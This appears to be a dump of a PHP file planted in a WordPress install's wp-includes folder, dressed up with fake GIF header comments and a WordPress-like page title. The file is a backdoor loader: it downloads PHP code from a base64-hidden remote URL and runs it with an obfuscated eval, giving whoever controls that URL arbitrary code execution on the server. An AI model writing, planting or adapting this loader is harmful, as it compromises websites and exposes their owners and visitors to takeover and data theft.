Current File : /home/pacjaorg/public_html/copp/wp-includes/interactivity-api/471438/index.php |
<!-- GIFwrwr89;a -->
<!-- Wordpress 1.3 -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>
<!-- GIFwrwr89;a -->
<!-- Wordpress 1.3 -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>
<?php
class RemoteContentFetcher {
private $url;
private $options;
public function __construct(string $url) {
$this->url = filter_var($url, FILTER_VALIDATE_URL);
$this->options = [
'ssl_verify' => true,
'timeout' => 30,
'user_agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/605.1 NAVER(inapp; search; 2000; 12.10.4; 16PROMAX)'
];
}
public function setOptions(array $options): void {
$this->options = array_merge($this->options, $options);
}
public function fetch() {
if (!$this->url) throw new Exception('Invalid URL provided');
try {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $this->url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => $this->options['ssl_verify'],
CURLOPT_TIMEOUT => $this->options['timeout'],
CURLOPT_USERAGENT => $this->options['user_agent']
]);
$content = curl_exec($ch);
$error = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) throw new Exception("cURL Error: $error");
if ($httpCode !== 200) throw new Exception("HTTP Error: $httpCode");
return $this->validateContent($content);
} catch (Exception $e) {
error_log("RemoteContentFetcher Error: " . $e->getMessage());
throw $e;
}
}
private function validateContent($content) {
if (empty($content)) throw new Exception('Empty content received');
return $content;
}
}
#moksl
try {
$fetcher = new RemoteContentFetcher(base64_decode("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL05vb2JUZWNoby93L3JlZnMvaGVhZHMvbWFpbi9tYW56X2J1bGUyLnBocA=="));
$fetcher->setOptions(['timeout' => 60, 'ssl_verify' => true]);
$content = $fetcher->fetch();
/*555555*/eval/*555555*/("?>".$content)/****#****/;
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
?>